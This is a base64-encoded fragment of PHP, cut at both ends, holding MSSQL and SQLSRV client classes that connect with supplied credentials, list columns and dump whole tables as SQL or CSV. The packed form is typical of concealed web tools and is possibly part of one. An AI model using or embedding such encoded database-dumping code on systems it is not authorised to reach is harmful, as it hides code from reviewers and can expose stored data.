CkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgJGEgICAgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHNkICAgPSBtc3NxbEVzY0RhdGEoJHMpOwogICAgICAgICAgICAgICAgJHNuICAgPSBtc3NxbEVzY05hbWUoJHMpOwogICAgICAgICAgICAgICAgJHRkICAgPSBtc3NxbEVzY0RhdGEoJHQpOwogICAgICAgICAgICAgICAgJHRuICAgPSBtc3NxbEVzY05hbWUoJHQpOwogICAgICAgICAgICAgICAgJHN0ZG4gPSBtc3NxbEVzY0RhdGEoJHNuIC4gJy4nIC4gJHRuKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ0VYRUMgc3BfY29sdW1ucyAnIC4gJHRkIC4gJywnIC4gJHNkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdls1XSA9IHN0cnRvdXBwZXIoJHZbNV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTBdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbNV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdlsxMl0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdls1XSAuPSAnIERFRkFVTFQnIC4gJHZbMTJdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdls1XTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2hlbHAgJyAuICRzdGRuKSAmJiAkdGhpcy0+bmV4dFJlc3VsdCgpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkgewogICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzZdID09PSAnbm8nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2WzBdXSA9ICR2WzFdOwogICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gJHRoaXMtPmZldGNoUm93KCkpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ0VYRUMgc3BfbXNoZWxwY29sdW1ucyAnIC4gJHN0ZG4pICYmICR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzZdID0gc3RydG91cHBlcigkdls2XSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdls5XSA9PT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2WzZdIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTddICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbNl0gLj0gJyBERUZBVUxUJyAuICR2WzE3XTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZbMF1dID0gJHZbNl07CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5xdWVyeSgnU0VMRUNUIGNvbHVtbl9uYW1lLGRhdGFfdHlwZSxpc19udWxsYWJsZSxjb2x1bW5fZGVmYXVsdCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWU9JyAuICR0ZCAuICcgQU5EIHRhYmxlX3NjaGVtYT0nIC4gJHNkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cnRvdXBwZXIoJHZbMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMl0gPT09ICdOTycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzNdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBERUZBVUxUJyAuICR2WzNdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlswXV0gPSAkdlsxXTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2NvbHVtbnNfbWFuYWdlZCBAb3duZXI9JyAuICRzZCAuICcsIEB0YWJsZT0nIC4gJHRkKSAmJiAkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAkdls3XSA9IHN0cnRvdXBwZXIoJHZbN10pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbNl0gPT09ICdOTycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdls3XSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzVdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbN10gLj0gJyBERUZBVUxUJyAuICR2WzVdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdls3XTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgT0JKRUNUX0lEKCcgLiAkc3RkbiAuICcpJykgJiYgJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkgewogICAgICAgICAgICAgICAgICAgICRyID0gJ29iamVjdF9pZD0nIC4gJHZbMF07CiAgICAgICAgICAgICAgICAgICAgJGkgPSAnaWQ9JyAuICR2WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkciA9ICdPQkpFQ1RfU0NIRU1BX05BTUUob2JqZWN0X2lkKT0nIC4gJHNkIC4gJyBBTkQgT0JKRUNUX05BTUUob2JqZWN0X2lkKT0nIC4gJHRkOwogICAgICAgICAgICAgICAgICAgICRpID0gJ09CSkVDVF9TQ0hFTUFfTkFNRShpZCk9JyAuICRzZCAuICcgQU5EIE9CSkVDVF9OQU1FKGlkKT0nIC4gJHRkOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSxUWVBFX05BTUUoc3lzdGVtX3R5cGVfaWQpLGlzX251bGxhYmxlIEZST00gc3lzLmFsbF9jb2x1bW5zIFdIRVJFICcgLiAkciwKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIG5hbWUsVFlQRV9OQU1FKHh0eXBlKSxpc251bGxhYmxlIEZST00gc3lzY29sdW1ucyBXSEVSRSAnIC4gJGksCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBuYW1lLFRZUEVfTkFNRShzeXN0ZW1fdHlwZV9pZCksaXNfbnVsbGFibGUgRlJPTSBzeXMuY29sdW1ucyBXSEVSRSAnIC4gJHIKICAgICAgICAgICAgICAgICkpKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzJdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2WzBdXSA9ICR2WzFdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdFWEVDIHNwX2NvbHVtbnNfcm93c2V0ICcgLiAkdGQgLiAnLCcgLiAkc2QpICYmICR2ID0gJHRoaXMtPmZldGNoUm93KCkpIHsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzExXSA9ICdCSU5BUlknOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbMTBdID09PSAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMTFdIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZbOF0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxMV0gLj0gJyBERUZBVUxUJyAuICR2WzhdOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlszXV0gPSAkdlsxMV07CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIE1TU1FMQ2xpZW50IGV4dGVuZHMgTVNTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgIGlmICghKCR0aGlzLT5fY25jdCA9IG1zc3FsX2Nvbm5lY3QoJGgsICR1LCAkcCkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2V0QmFzZSgkYik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICAkdiA9IG1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpCiAgICAgICAgICAgICAgICAgICAgbXNzcWxfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBtc3NxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpIHx8IChtc3NxbF9uZXh0X3Jlc3VsdCgkdGhpcy0+X3JlcykgJiYgKCR2ID0gbXNzcWxfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBtc3NxbF9mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzFdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgIGlmICgoJHYgPSBtc3NxbF9mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSB8fCAobXNzcWxfbmV4dF9yZXN1bHQoJHRoaXMtPl9yZXMpICYmICgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gY291bnQoJHYpID09PSAxID8gJHZbMF0gOiAkdlsyXTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZVNpemUoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG1zc3FsX3F1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpLCAkdGhpcy0+X2NuY3QpKSA/IG1zc3FsX3Jlc3VsdCgkdiwgMCwgMCkgOiAnIj8iJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBzZXRCYXNlKCR2KSB7CiAgICAgICAgICAgICAgICBpZiAoJHYgIT09ICR0aGlzLT5fYmFzZSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFtc3NxbF9zZWxlY3RfZGIobXNzcWxFc2NOYW1lKCR2KSwgJHRoaXMtPl9jbmN0KSAmJiAhbXNzcWxfcXVlcnkoJ1VTRSAnIC4gbXNzcWxFc2NOYW1lKCR2KSwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICR2OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICRzLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCRxID0gbXNzcWxfcXVlcnkoJ1NFTEVDVCBUT1AgMSAqIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSwgJHRoaXMtPl9jbmN0KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9IG1zc3FsX2ZldGNoX2ZpZWxkKCRxKSkgewogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdi0+bmFtZV0gPSBzdHJ0b3VwcGVyKCR2LT50eXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBtc3NxbF9mZXRjaF9maWVsZCgkcSkpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmIChpc19zdHJpbmcoJHYgPSBtc3NxbF9maWVsZF9uYW1lKCRxLCAwKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gPSBpc19zdHJpbmcoJHMgPSBtc3NxbF9maWVsZF90eXBlKCRxLCAkaSkpID8gc3RydG91cHBlcigkcykgOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoaXNfc3RyaW5nKCR2ID0gbXNzcWxfZmllbGRfbmFtZSgkcSwgKyskaSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSBtc3NxbF9mZXRjaF9hcnJheSgkcSwgTVNTUUxfQVNTT0MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0KCRiLCAkcywgJHQsICRjLCAkbywgJGwpIHsKICAgICAgICAgICAgICAgICR2ID0gJGwgPCAxMDAwID8gMTAwMCA6ICRsOwogICAgICAgICAgICAgICAgaWYgKCEoJHRoaXMtPl9yZXMgPSBtc3NxbF9xdWVyeSgnU0VMRUNUIFRPUCAnIC4gKCRvICsgJGwpIC4gJyAnIC4gc3FsSm9pbkNvbHVtbnMoJGMsICdtc3NxbEVzY05hbWUnKSAuICcgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpLCAkdGhpcy0+X2NuY3QsICR2KSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgJGsgPSBmbG9vcigkbyAvICR2KTsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRrOyArKyRpKQogICAgICAgICAgICAgICAgICAgIGlmICghbXNzcWxfZmV0Y2hfYmF0Y2goJHRoaXMtPl9yZXMpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAkayA9ICRvIC0gKCRrICogJHYpOwogICAgICAgICAgICAgICAgaWYgKCRrID4gMCAmJiAhbXNzcWxfZGF0YV9zZWVrKCR0aGlzLT5fcmVzLCAkaykpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBtc3NxbF9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgTVNTUUxfQVNTT0MpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG1zc3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpIHx8IChtc3NxbF9mZXRjaF9iYXRjaCgkdGhpcy0+X3JlcykgJiYgKCR2ID0gbXNzcWxfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIG1zc3FsX25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9IG1zc3FsX3F1ZXJ5KCR2LCAkdGhpcy0+X2NuY3QpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkcywgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2V0QmFzZSgkYikpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgJGkgPSAnJzsKICAgICAgICAgICAgICAgIGlmICgkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQklOQVJZJywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgaWYgKCgkcSA9IG1zc3FsX3F1ZXJ5KCdTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBtc3NxbEVzY05hbWUoJGIsICRzLCAkdCksICR0aGlzLT5fY25jdCwgMTAwMCkpICYmICgkdiA9IG1zc3FsX2ZldGNoX2FycmF5KCRxLCBNU1NRTF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdtc3NxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3ZPdXRWYWx1ZXMoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9IG1zc3FsX2ZldGNoX3JvdygkcSkpOwogICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKG1zc3FsX2ZldGNoX2JhdGNoKCRxKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIG1zc3FsX2ZyZWVfcmVzdWx0KCRxKTsKICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICRpIC49IHNwcmludGYoRV9TTENURFQsICRiIC4gJy4nIC4gJHMgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7CiAgICAgICAgICAgICAgICBtc3NxbF9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIFNRTFNydkNsaWVudCBleHRlbmRzIE1TU1FMQmFzZSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGgsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICRhICAgICAgICAgICA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBpZiAoJHUgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ1VJRCddID0gJHU7CiAgICAgICAgICAgICAgICBpZiAoJHAgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ1BXRCddID0gJHA7CiAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJGFbJ0RhdGFiYXNlJ10gPSAkYjsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9jbmN0ID0gc3Fsc3J2X2Nvbm5lY3QoJGgsICRhKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICAkdiA9IHNxbHNydl9lcnJvcnMoKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpCiAgICAgICAgICAgICAgICAgICAgc3Fsc3J2X2Nsb3NlKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHYgPyAkdlswXVsnbWVzc2FnZSddIDogJyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gdHJ5UXVlcmllcygkYSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fcmVzID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJHYpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdiA9IHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX05VTUVSSUMpKSB8fCAoc3Fsc3J2X25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSkpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hTY2hlbWEoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCR0aGlzLT5fcmVzLCBTUUxTUlZfRkVUQ0hfTlVNRVJJQykpID8gJHZbMV0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFRhYmxlKCkgewogICAgICAgICAgICAgICAgaWYgKCgkdiA9IHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX05VTUVSSUMpKSB8fCAoc3Fsc3J2X25leHRfcmVzdWx0KCR0aGlzLT5fcmVzKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSkpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBjb3VudCgkdikgPT09IDEgPyAkdlswXSA6ICR2WzJdOwogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdiA9IHNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpKSkgJiYgKCR2ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCR2LCBTUUxTUlZfRkVUQ0hfTlVNRVJJQykpKSA/ICR2WzBdIDogJyI/Iic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICRzLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCRxID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBUT1AgMSAqIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJ